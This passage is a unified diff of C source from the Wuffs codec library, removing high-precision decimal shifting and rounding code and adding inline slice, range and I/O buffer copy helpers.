+-wuffs_base__private_implementation__high_prec_dec__small_lshift( +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t shift) { +- if (h->num_digits == 0) { +- return; ++static inline wuffs_base__slice_u8 // ++wuffs_private_impl__table_u8__row_u32(wuffs_base__table_u8 t, uint32_t y) { ++ if (t.ptr && (y < t.height)) { ++ return wuffs_base__make_slice_u8(t.ptr + (t.stride * y), t.width); + } +- uint32_t num_new_digits = +- wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits( +- h, shift); +- uint32_t rx = h->num_digits - 1; // Read index. +- uint32_t wx = h->num_digits - 1 + num_new_digits; // Write index. +- uint64_t n = 0; ++ return wuffs_base__empty_slice_u8(); ++} + +- // Repeat: pick up a digit, put down a digit, right to left. +- while (((int32_t)rx) >= 0) { +- n += ((uint64_t)(h->digits[rx])) << shift; +- uint64_t quo = n / 10; +- uint64_t rem = n - (10 * quo); +- if (wx < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[wx] = (uint8_t)rem; +- } else if (rem > 0) { +- h->truncated = true; +- } +- n = quo; +- wx--; +- rx--; +- } ++// ---------------- Slices and Tables (Utility) + +- // Put down leading digits, right to left. +- while (n > 0) { +- uint64_t quo = n / 10; +- uint64_t rem = n - (10 * quo); +- if (wx < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[wx] = (uint8_t)rem; +- } else if (rem > 0) { +- h->truncated = true; +- } +- n = quo; +- wx--; +- } ++#define wuffs_base__utility__empty_slice_u8 wuffs_base__empty_slice_u8 + +- // Finish. +- h->num_digits += num_new_digits; +- if (h->num_digits > +- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->num_digits = WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION; +- } +- h->decimal_point += (int32_t)num_new_digits; +- wuffs_base__private_implementation__high_prec_dec__trim(h); ++// ---------------- Ranges and Rects ++ ++static inline uint32_t // ++wuffs_private_impl__range_ii_u32__get_min_incl( ++ const wuffs_base__range_ii_u32* r) { ++ return r->min_incl; + } + +-static void // +-wuffs_base__private_implementation__high_prec_dec__small_rshift( +- wuffs_base__private_implementation__high_prec_dec* h, +- uint32_t shift) { +- uint32_t rx = 0; // Read index. +- uint32_t wx = 0; // Write index. +- uint64_t n = 0; ++static inline uint32_t // ++wuffs_private_impl__range_ii_u32__get_max_incl( ++ const wuffs_base__range_ii_u32* r) { ++ return r->max_incl; ++} + +- // Pick up enough leading digits to cover the first shift. +- while ((n >> shift) == 0) { +- if (rx < h->num_digits) { +- // Read a digit. +- n = (10 * n) + h->digits[rx++]; +- } else if (n == 0) { +- // h's number used to be zero and remains zero. +- return; +- } else { +- // Read sufficient implicit trailing zeroes. +- while ((n >> shift) == 0) { +- n = 10 * n; +- rx++; +- } +- break; +- } +- } +- h->decimal_point -= ((int32_t)(rx - 1)); +- if (h->decimal_point < +- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { +- // After the shift, h's number is effectively zero. +- h->num_digits = 0; +- h->decimal_point = 0; +- h->truncated = false; +- return; +- } ++static inline uint32_t // ++wuffs_private_impl__range_ie_u32__get_min_incl( ++ const wuffs_base__range_ie_u32* r) { ++ return r->min_incl; ++} + +- // Repeat: pick up a digit, put down a digit, left to right. +- uint64_t mask = (((uint64_t)(1)) << shift) - 1; +- while (rx < h->num_digits) { +- uint8_t new_digit = ((uint8_t)(n >> shift)); +- n = (10 * (n & mask)) + h->digits[rx++]; +- h->digits[wx++] = new_digit; +- } ++static inline uint32_t // ++wuffs_private_impl__range_ie_u32__get_max_excl( ++ const wuffs_base__range_ie_u32* r) { ++ return r->max_excl; ++} + +- // Put down trailing digits, left to right. +- while (n > 0) { +- uint8_t new_digit = ((uint8_t)(n >> shift)); +- n = 10 * (n & mask); +- if (wx < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { +- h->digits[wx++] = new_digit; +- } else if (new_digit > 0) { +- h->truncated = true; +- } +- } ++static inline uint64_t // ++wuffs_private_impl__range_ii_u64__get_min_incl( ++ const wuffs_base__range_ii_u64* r) { ++ return r->min_incl; ++} + +- // Finish. +- h->num_digits = wx; +- wuffs_base__private_implementation__high_prec_dec__trim(h); ++static inline uint64_t // ++wuffs_private_impl__range_ii_u64__get_max_incl( ++ const wuffs_base__range_ii_u64* r) { ++ return r->max_incl; + } + +-static void // +-wuffs_base__private_implementation__high_prec_dec__lshift( +- wuffs_base__private_implementation__high_prec_dec* h, +- int32_t shift) { +- if (shift > 0) { +- while (shift > +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL) { +- wuffs_base__private_implementation__high_prec_dec__small_lshift( +- h, WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL); +- shift -= WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; +- } +- wuffs_base__private_implementation__high_prec_dec__small_lshift( +- h, ((uint32_t)(+shift))); +- } else if (shift < 0) { +- while (shift < -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL) { +- wuffs_base__private_implementation__high_prec_dec__small_rshift( +- h, WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL); +- shift += WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; +- } +- wuffs_base__private_implementation__high_prec_dec__small_rshift( +- h, ((uint32_t)(-shift))); +- } ++static inline uint64_t // ++wuffs_private_impl__range_ie_u64__get_min_incl( ++ const wuffs_base__range_ie_u64* r) { ++ return r->min_incl; + } + +-// -------- ++static inline uint64_t // ++wuffs_private_impl__range_ie_u64__get_max_excl( ++ const wuffs_base__range_ie_u64* r) { ++ return r->max_excl; ++} + +-// wuffs_base__private_implementation__high_prec_dec__round_etc rounds h's +-// number. For those functions that take an n argument, rounding produces at +-// most n digits (which is not necessarily at most n decimal places). Negative +-// n values are ignored, as well as any n greater than or equal to h's number +-// of digits. The etc__round_just_enough function implicitly chooses an n to +-// implement WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION. +-// +-// Preconditions: +-// - h is non-NULL. +-// - h->decimal_point is "not extreme". +-// +-// "Not extreme" means within +-// ±WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE. ++// ---------------- Ranges and Rects (Utility) + +-static void // +-wuffs_base__private_implementation__high_prec_dec__round_down( +- wuffs_base__private_implementation__high_prec_dec* h, +- int32_t n) { +- if ((n < 0) || (h->num_digits <= (uint32_t)n)) { +- return; ++#define wuffs_base__utility__empty_range_ii_u32 wuffs_base__empty_range_ii_u32 ++#define wuffs_base__utility__empty_range_ie_u32 wuffs_base__empty_range_ie_u32 ++#define wuffs_base__utility__empty_range_ii_u64 wuffs_base__empty_range_ii_u64 ++#define wuffs_base__utility__empty_range_ie_u64 wuffs_base__empty_range_ie_u64 ++#define wuffs_base__utility__empty_rect_ii_u32 wuffs_base__empty_rect_ii_u32 ++#define wuffs_base__utility__empty_rect_ie_u32 wuffs_base__empty_rect_ie_u32 ++#define wuffs_base__utility__make_range_ii_u32 wuffs_base__make_range_ii_u32 ++#define wuffs_base__utility__make_range_ie_u32 wuffs_base__make_range_ie_u32 ++#define wuffs_base__utility__make_range_ii_u64 wuffs_base__make_range_ii_u64 ++#define wuffs_base__utility__make_range_ie_u64 wuffs_base__make_range_ie_u64 ++#define wuffs_base__utility__make_rect_ii_u32 wuffs_base__make_rect_ii_u32 ++#define wuffs_base__utility__make_rect_ie_u32 wuffs_base__make_rect_ie_u32 ++ ++// ---------------- I/O ++ ++static inline uint64_t // ++wuffs_private_impl__io__count_since(uint64_t mark, uint64_t index) { ++ if (index >= mark) { ++ return index - mark; + } +- h->num_digits = (uint32_t)(n); +- wuffs_base__private_implementation__high_prec_dec__trim(h); ++ return 0; + } + +-static void // +-wuffs_base__private_implementation__high_prec_dec__round_up( +- wuffs_base__private_implementation__high_prec_dec* h, +- int32_t n) { +- if ((n < 0) || (h->num_digits <= (uint32_t)n)) { +- return; ++// TODO: drop the "const" in "const uint8_t* ptr". Some though required about ++// the base.io_reader.since method returning a mutable "slice base.u8". ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wcast-qual" ++#endif ++static inline wuffs_base__slice_u8 // ++wuffs_private_impl__io__since(uint64_t mark, ++ uint64_t index, ++ const uint8_t* ptr) { ++ if (index >= mark) { ++ return wuffs_base__make_slice_u8(((uint8_t*)ptr) + mark, ++ ((size_t)(index - mark))); + } ++ return wuffs_base__empty_slice_u8(); ++} ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif + +- for (n--; n >= 0; n--) { +- if (h->digits[n] < 9) { +- h->digits[n]++; +- h->num_digits = (uint32_t)(n + 1); +- return; +- } +- } ++// -------- + +- // The number is all 9s. Change to a single 1 and adjust the decimal point. +- h->digits[0] = 1; +- h->num_digits = 1; +- h->decimal_point++; ++static inline void // ++wuffs_private_impl__io_reader__limit(const uint8_t** ptr_io2_r, ++ const uint8_t* iop_r, ++ uint64_t limit) { ++ if (((uint64_t)(*ptr_io2_r - iop_r)) > limit) { ++ *ptr_io2_r = iop_r + limit; ++ } + } + +-static void // +-wuffs_base__private_implementation__high_prec_dec__round_nearest( +- wuffs_base__private_implementation__high_prec_dec* h, +- int32_t n) { +- if ((n < 0) || (h->num_digits <= (uint32_t)n)) { +- return; ++static inline uint32_t // ++wuffs_private_impl__io_reader__limited_copy_u32_to_slice( ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r, ++ uint32_t length, ++ wuffs_base__slice_u8 dst) { ++ const uint8_t* iop_r = *ptr_iop_r; ++ size_t n = dst.len; ++ if (n > length) { ++ n = length; + } +- bool up = h->digits[n] >= 5; +- if ((h->digits[n] == 5) && ((n + 1) == ((int32_t)(h->num_digits)))) { +- up = h->truncated || // +- ((n > 0) && ((h->digits[n - 1] & 1) != 0)); ++ if (n > ((size_t)(io2_r - iop_r))) { ++ n = (size_t)(io2_r - iop_r); + } +- +- if (up) { +- wuffs_base__private_implementation__high_prec_dec__round_up(h, n); +- } else { +- wuffs_base__private_implementation__high_prec_dec__round_down(h, n); ++ if (n > 0) { ++ memmove(dst.ptr, iop_r, n); ++ *ptr_iop_r += n; + } ++ return (uint32_t)(n); + } + +-static void // +-wuffs_base__private_implementation__high_prec_dec__round_just_enough( +- wuffs_base__private_implementation__high_prec_dec* h, +- int32_t exp2, +- uint64_t mantissa) { +- // The magic numbers 52 and 53 in this function are because IEEE 754 double +- // precision has 52 mantissa bits. +- // +- // Let f be the floating point number represented by exp2 and mantissa (and +- // also the number in h): the number (mantissa * (2 ** (exp2 - 52))). +- // +- // If f is zero or a small integer, we can return early. +- if ((mantissa == 0) || +- ((exp2 < 53) && (h->decimal_point >= ((int32_t)(h->num_digits))))) { +- return; ++// wuffs_private_impl__io_reader__match7 returns whether the io_reader's ++// upcoming bytes start with the given prefix (up to 7 bytes long). It is ++// peek-like, not read-like, in that there are no side-effects. ++// ++// The low 3 bits of a hold the prefix length, n. ++// ++// The high 56 bits of a hold the prefix itself, in little-endian order. The ++// first prefix byte is in bits 8..=15, the second prefix byte is in bits ++// 16..=23, etc. The high (8 * (7 - n)) bits are ignored. ++// ++// There are three possible return values: ++// - 0 means success. ++// - 1 means inconclusive, equivalent to "$short read". ++// - 2 means failure. ++static inline uint32_t // ++wuffs_private_impl__io_reader__match7(const uint8_t* iop_r, ++ const uint8_t* io2_r, ++ wuffs_base__io_buffer* r, ++ uint64_t a) { ++ uint32_t n = a & 7; ++ a >>= 8; ++ if ((io2_r - iop_r) >= 8) { ++ uint64_t x = wuffs_base__peek_u64le__no_bounds_check(iop_r); ++ uint32_t shift = 8 * (8 - n); ++ return ((a << shift) == (x << shift)) ? 0 : 2; ++ } ++ for (; n > 0; n--) { ++ if (iop_r >= io2_r) { ++ return (r && r->meta.closed) ? 2 : 1; ++ } else if (*iop_r != ((uint8_t)(a))) { ++ return 2; ++ } ++ iop_r++; ++ a >>= 8; + } ++ return 0; ++} + +- // The smallest normal f has an exp2 of -1022 and a mantissa of (1 << 52). +- // Subnormal numbers have the same exp2 but a smaller mantissa. +- static const int32_t min_incl_normal_exp2 = -1022; +- static const uint64_t min_incl_normal_mantissa = 0x0010000000000000ul; ++static inline wuffs_base__io_buffer* // ++wuffs_private_impl__io_reader__set(wuffs_base__io_buffer* b, ++ const uint8_t** ptr_iop_r, ++ const uint8_t** ptr_io0_r, ++ const uint8_t** ptr_io1_r, ++ const uint8_t** ptr_io2_r, ++ wuffs_base__slice_u8 data, ++ uint64_t history_position) { ++ b->data = data; ++ b->meta.wi = data.len; ++ b->meta.ri = 0; ++ b->meta.pos = history_position; ++ b->meta.closed = false; + +- // Compute lower and upper bounds such that any number between them (possibly +- // inclusive) will round to f. First, the lower bound. Our number f is: +- // ((mantissa + 0) * (2 ** ( exp2 - 52))) +- // +- // The next lowest floating point number is: +- // ((mantissa - 1) * (2 ** ( exp2 - 52))) +- // unless (mantissa - 1) drops the (1 << 52) bit and exp2 is not the +- // min_incl_normal_exp2. Either way, call it: +- // ((l_mantissa) * (2 ** (l_exp2 - 52))) +- // +- // The lower bound is halfway between them (noting that 52 became 53): +- // (((2 * l_mantissa) + 1) * (2 ** (l_exp2 - 53))) +- int32_t l_exp2 = exp2; +- uint64_t l_mantissa = mantissa - 1; +- if ((exp2 > min_incl_normal_exp2) && (mantissa <= min_incl_normal_mantissa)) { +- l_exp2 = exp2 - 1; +- l_mantissa = (2 * mantissa) - 1; +- } +- wuffs_base__private_implementation__high_prec_dec lower; +- wuffs_base__private_implementation__high_prec_dec__assign( +- &lower, (2 * l_mantissa) + 1, false); +- wuffs_base__private_implementation__high_prec_dec__lshift(&lower, +- l_exp2 - 53); ++ *ptr_iop_r = data.ptr; ++ *ptr_io0_r = data.ptr; ++ *ptr_io1_r = data.ptr; ++ *ptr_io2_r = data.ptr + data.len; + +- // Next, the upper bound. Our number f is: +- // ((mantissa + 0) * (2 ** (exp2 - 52))) +- // +- // The next highest floating point number is: +- // ((mantissa + 1) * (2 ** (exp2 - 52))) +- // +- // The upper bound is halfway between them (noting that 52 became 53): +- // (((2 * mantissa) + 1) * (2 ** (exp2 - 53))) +- wuffs_base__private_implementation__high_prec_dec upper; +- wuffs_base__private_implementation__high_prec_dec__assign( +- &upper, (2 * mantissa) + 1, false); +- wuffs_base__private_implementation__high_prec_dec__lshift(&upper, exp2 - 53); ++ return b; ++} + +- // The lower and upper bounds are possible outputs only if the original +- // mantissa is even, so that IEEE round-to-even would round to the original +- // mantissa and not its neighbors. +- bool inclusive = (mantissa & 1) == 0; ++// -------- + +- // As we walk the digits, we want to know whether rounding up would fall +- // within the upper bound. This is tracked by upper_delta: +- // - When -1, the digits of h and upper are the same so far. +- // - When +0, we saw a difference of 1 between h and upper on a previous +- // digit and subsequently only 9s for h and 0s for upper. Thus, rounding +- // up may fall outside of the bound if !inclusive. +- // - When +1, the difference is greater than 1 and we know that rounding up +- // falls within the bound. +- // +- // This is a state machine with three states. The numerical value for each +- // state (-1, +0 or +1) isn't important, other than their order. +- int upper_delta = -1; ++static inline uint64_t // ++wuffs_private_impl__io_writer__copy_from_slice(uint8_t** ptr_iop_w, ++ uint8_t* io2_w, ++ wuffs_base__slice_u8 src) { ++ uint8_t* iop_w = *ptr_iop_w; ++ size_t n = src.len; ++ if (n > ((size_t)(io2_w - iop_w))) { ++ n = (size_t)(io2_w - iop_w); ++ } ++ if (n > 0) { ++ memmove(iop_w, src.ptr, n); ++ *ptr_iop_w += n; ++ } ++ return (uint64_t)(n); ++} + +- // We can now figure out the shortest number of digits required. Walk the +- // digits until h has distinguished itself from lower or upper. +- // +- // The zi and zd variables are indexes and digits, for z in l (lower), h (the +- // number) and u (upper). ++static inline void // ++wuffs_private_impl__io_writer__limit(uint8_t** ptr_io2_w, ++ uint8_t* iop_w, ++ uint64_t limit) { ++ if (((uint64_t)(*ptr_io2_w - iop_w)) > limit) { ++ *ptr_io2_w = iop_w + limit; ++ } ++} ++ ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ if (!distance) { ++ return 0; ++ } ++ uint8_t* p = *ptr_iop_w; ++ if ((size_t)(p - io0_w) < (size_t)(distance)) { ++ return 0; ++ } ++ uint8_t* q = p - distance; ++ size_t n = (size_t)(io2_w - p); ++ if ((size_t)(length) > n) { ++ length = (uint32_t)(n); ++ } else { ++ n = (size_t)(length); ++ } ++ // TODO: unrolling by 3 seems best for the std/deflate benchmarks, but that ++ // is mostly because 3 is the minimum length for the deflate format. This ++ // function implementation shouldn't overfit to that one format. Perhaps the ++ // limited_copy_u32_from_history Wuffs method should also take an unroll hint ++ // argument, and the cgen can look if that argument is the constant ++ // expression '3'. + // +- // The lower, h and upper numbers may have their decimal points at different +- // places. In this case, upper is the longest, so we iterate ui starting from +- // 0 and iterate li and hi starting from either 0 or -1. +- int32_t ui = 0; +- for (;; ui++) { +- // Calculate hd, the middle number's digit. +- int32_t hi = ui - upper.decimal_point + h->decimal_point; +- if (hi >= ((int32_t)(h->num_digits))) { +- break; +- } +- uint8_t hd = (((uint32_t)hi) < h->num_digits) ? h->digits[hi] : 0; ++ // See also wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast ++ // below. ++ for (; n >= 3; n -= 3) { ++ *p++ = *q++; ++ *p++ = *q++; ++ *p++ = *q++; ++ } ++ for (; n; n--) { ++ *p++ = *q++; ++ } ++ *ptr_iop_w = p; ++ return length; ++} + +- // Calculate ld, the lower bound's digit. +- int32_t li = ui - upper.decimal_point + lower.decimal_point; +- uint8_t ld = (((uint32_t)li) < lower.num_digits) ? lower.digits[li] : 0; ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast is like ++// the wuffs_private_impl__io_writer__limited_copy_u32_from_history function ++// above, but has stronger pre-conditions. ++// ++// The caller needs to prove that: ++// - length >= 1 ++// - length <= (io2_w - *ptr_iop_w) ++// - distance >= 1 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint8_t* q = p - distance; ++ uint32_t n = length; ++ for (; n >= 3; n -= 3) { ++ *p++ = *q++; ++ *p++ = *q++; ++ *p++ = *q++; ++ } ++ for (; n; n--) { ++ *p++ = *q++; ++ } ++ *ptr_iop_w = p; ++ return length; ++} + +- // We can round down (truncate) if lower has a different digit than h or if +- // lower is inclusive and is exactly the result of rounding down (i.e. we +- // have reached the final digit of lower). +- bool can_round_down = +- (ld != hd) || // +- (inclusive && ((li + 1) == ((int32_t)(lower.num_digits)))); ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp ++// is like the ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast function, ++// but also returns the cusp: a byte pair (as a u16le) being the last byte of ++// and next byte after the copied history. ++// ++// For example, if history was [10, 11, 12, 13, 14, 15, 16, 17, 18] then: ++// - copying l=3, d=8 produces [11, 12, 13] and the cusp is (13, 14). ++// - copying l=3, d=2 produces [17, 18, 17] and the cusp is (17, 18). ++// ++// The caller needs to prove that: ++// - length >= 1 ++// - length <= (io2_w - *ptr_iop_w) ++// - distance >= 1 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint8_t* q = p - distance; ++ uint32_t n = length; ++ for (; n >= 3; n -= 3) { ++ *p++ = *q++; ++ *p++ = *q++; ++ *p++ = *q++; ++ } ++ for (; n; n--) { ++ *p++ = *q++; ++ } ++ *ptr_iop_w = p; ++ return (uint32_t)wuffs_base__peek_u16le__no_bounds_check(q - 1); ++} + +- // Calculate ud, the upper bound's digit, and update upper_delta. +- uint8_t ud = (((uint32_t)ui) < upper.num_digits) ? upper.digits[ui] : 0; +- if (upper_delta < 0) { +- if ((hd + 1) < ud) { +- // For example: +- // h = 12345??? +- // upper = 12347??? +- upper_delta = +1; +- } else if (hd != ud) { +- // For example: +- // h = 12345??? +- // upper = 12346??? +- upper_delta = +0; +- } +- } else if (upper_delta == 0) { +- if ((hd != 9) || (ud != 0)) { +- // For example: +- // h = 1234598? +- // upper = 1234600? +- upper_delta = +1; +- } ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast ++// copies the previous byte (the one immediately before *ptr_iop_w), copying 8 ++// byte chunks at a time. Each chunk contains 8 repetitions of the same byte. ++// ++// In terms of number of bytes copied, length is rounded up to a multiple of 8. ++// As a special case, a zero length rounds up to 8 (even though 0 is already a ++// multiple of 8), since there is always at least one 8 byte chunk copied. ++// ++// In terms of advancing *ptr_iop_w, length is not rounded up. ++// ++// The caller needs to prove that: ++// - length >= 1 ++// - (length + 8) <= (io2_w - *ptr_iop_w) ++// - distance == 1 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint64_t x = p[-1]; ++ x |= x << 8; ++ x |= x << 16; ++ x |= x << 32; ++ uint32_t n = length; ++ while (1) { ++ wuffs_base__poke_u64le__no_bounds_check(p, x); ++ if (n <= 8) { ++ p += n; ++ break; + } ++ p += 8; ++ n -= 8; ++ } ++ *ptr_iop_w = p; ++ return length; ++} + +- // We can round up if upper has a different digit than h and either upper +- // is inclusive or upper is bigger than the result of rounding up. +- bool can_round_up = +- (upper_delta > 0) || // +- ((upper_delta == 0) && // +- (inclusive || ((ui + 1) < ((int32_t)(upper.num_digits))))); +- +- // If we can round either way, round to nearest. If we can round only one +- // way, do it. If we can't round, continue the loop. +- if (can_round_down) { +- if (can_round_up) { +- wuffs_base__private_implementation__high_prec_dec__round_nearest( +- h, hi + 1); +- return; +- } else { +- wuffs_base__private_implementation__high_prec_dec__round_down(h, +- hi + 1); +- return; +- } +- } else { +- if (can_round_up) { +- wuffs_base__private_implementation__high_prec_dec__round_up(h, hi + 1); +- return; +- } ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast_return_cusp ++// copies the previous byte (the one immediately before *ptr_iop_w), copying 8 ++// byte chunks at a time. Each chunk contains 8 repetitions of the same byte. ++// It also returns the cusp: a byte pair (as a u16le) being the last byte of ++// and next byte after the copied history. ++// ++// In terms of number of bytes copied, length is rounded up to a multiple of 8. ++// As a special case, a zero length rounds up to 8 (even though 0 is already a ++// multiple of 8), since there is always at least one 8 byte chunk copied. ++// ++// In terms of advancing *ptr_iop_w, length is not rounded up. ++// ++// The caller needs to prove that: ++// - length >= 1 ++// - (length + 8) <= (io2_w - *ptr_iop_w) ++// - distance == 1 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast_return_cusp( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint8_t* q = p - distance; ++ uint64_t x = p[-1]; ++ x |= x << 8; ++ x |= x << 16; ++ x |= x << 32; ++ uint32_t n = length; ++ while (1) { ++ wuffs_base__poke_u64le__no_bounds_check(p, x); ++ if (n <= 8) { ++ p += n; ++ q += n; ++ break; + } ++ p += 8; ++ q += 8; ++ n -= 8; + } ++ *ptr_iop_w = p; ++ return (uint32_t)wuffs_base__peek_u16le__no_bounds_check(q - 1); + } + +-// -------- +- +-// wuffs_base__private_implementation__parse_number_f64_eisel_lemire produces +-// the IEEE 754 double-precision value for an exact mantissa and base-10 +-// exponent. For example: +-// - when parsing "12345.678e+02", man is 12345678 and exp10 is -1. +-// - when parsing "-12", man is 12 and exp10 is 0. Processing the leading +-// minus sign is the responsibility of the caller, not this function. ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast ++// is like the ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast function ++// above, but copies 8 byte chunks at a time. + // +-// On success, it returns a non-negative int64_t such that the low 63 bits hold +-// the 11-bit exponent and 52-bit mantissa. ++// In terms of number of bytes copied, length is rounded up to a multiple of 8. ++// As a special case, a zero length rounds up to 8 (even though 0 is already a ++// multiple of 8), since there is always at least one 8 byte chunk copied. + // +-// On failure, it returns a negative value. ++// In terms of advancing *ptr_iop_w, length is not rounded up. + // +-// The algorithm is based on an original idea by Michael Eisel that was refined +-// by Daniel Lemire. See +-// https://lemire.me/blog/2020/03/10/fast-float-parsing-in-practice/ +-// and +-// https://nigeltao.github.io/blog/2020/eisel-lemire.html ++// The caller needs to prove that: ++// - length >= 1 ++// - (length + 8) <= (io2_w - *ptr_iop_w) ++// - distance >= 8 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint8_t* q = p - distance; ++ uint32_t n = length; ++ while (1) { ++ memcpy(p, q, 8); ++ if (n <= 8) { ++ p += n; ++ break; ++ } ++ p += 8; ++ q += 8; ++ n -= 8; ++ } ++ *ptr_iop_w = p; ++ return length; ++} ++ ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast_return_cusp ++// is like the ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast function ++// above, but copies 8 byte chunks at a time. It also returns the cusp: a byte ++// pair (as a u16le) being the last byte of and next byte after the copied ++// history. + // +-// Preconditions: +-// - man is non-zero. +-// - exp10 is in the range [-307 ..= 288], the same range of the +-// wuffs_base__private_implementation__powers_of_10 array. ++// In terms of number of bytes copied, length is rounded up to a multiple of 8. ++// As a special case, a zero length rounds up to 8 (even though 0 is already a ++// multiple of 8), since there is always at least one 8 byte chunk copied. + // +-// The exp10 range (and the fact that man is in the range [1 ..= UINT64_MAX], +-// approximately [1 ..= 1.85e+19]) means that (man * (10 ** exp10)) is in the +-// range [1e-307 ..= 1.85e+307]. This is entirely within the range of normal +-// (neither subnormal nor non-finite) f64 values: DBL_MIN and DBL_MAX are +-// approximately 2.23e–308 and 1.80e+308. +-static int64_t // +-wuffs_base__private_implementation__parse_number_f64_eisel_lemire( +- uint64_t man, +- int32_t exp10) { +- // Look up the (possibly truncated) base-2 representation of (10 ** exp10). +- // The look-up table was constructed so that it is already normalized: the +- // table entry's mantissa's MSB (most significant bit) is on. +- const uint64_t* po10 = +- &wuffs_base__private_implementation__powers_of_10[exp10 + 307][0]; ++// In terms of advancing *ptr_iop_w, length is not rounded up. ++// ++// The caller needs to prove that: ++// - length >= 1 ++// - (length + 8) <= (io2_w - *ptr_iop_w) ++// - distance >= 8 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast_return_cusp( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint8_t* q = p - distance; ++ uint32_t n = length; ++ while (1) { ++ memcpy(p, q, 8); ++ if (n <= 8) { ++ p += n; ++ q += n; ++ break; ++ } ++ p += 8; ++ q += 8; ++ n -= 8; ++ } ++ *ptr_iop_w = p; ++ return (uint32_t)wuffs_base__peek_u16le__no_bounds_check(q - 1); ++} + +- // Normalize the man argument. The (man != 0) precondition means that a +- // non-zero bit exists. +- uint32_t clz = wuffs_base__count_leading_zeroes_u64(man); +- man <<= clz; ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_reader( ++ uint8_t** ptr_iop_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r) { ++ uint8_t* iop_w = *ptr_iop_w; ++ size_t n = length; ++ if (n > ((size_t)(io2_w - iop_w))) { ++ n = (size_t)(io2_w - iop_w); ++ } ++ const uint8_t* iop_r = *ptr_iop_r; ++ if (n > ((size_t)(io2_r - iop_r))) { ++ n = (size_t)(io2_r - iop_r); ++ } ++ if (n > 0) { ++ memmove(iop_w, iop_r, n); ++ *ptr_iop_w += n; ++ *ptr_iop_r += n; ++ } ++ return (uint32_t)(n); ++} + +- // Calculate the return value's base-2 exponent. We might tweak it by ±1 +- // later, but its initial value comes from a linear scaling of exp10, +- // converting from power-of-10 to power-of-2, and adjusting by clz. +- // +- // The magic constants are: +- // - 1087 = 1023 + 64. The 1023 is the f64 exponent bias. The 64 is because +- // the look-up table uses 64-bit mantissas. +- // - 217706 is such that the ratio 217706 / 65536 ≈ 3.321930 is close enough +- // (over the practical range of exp10) to 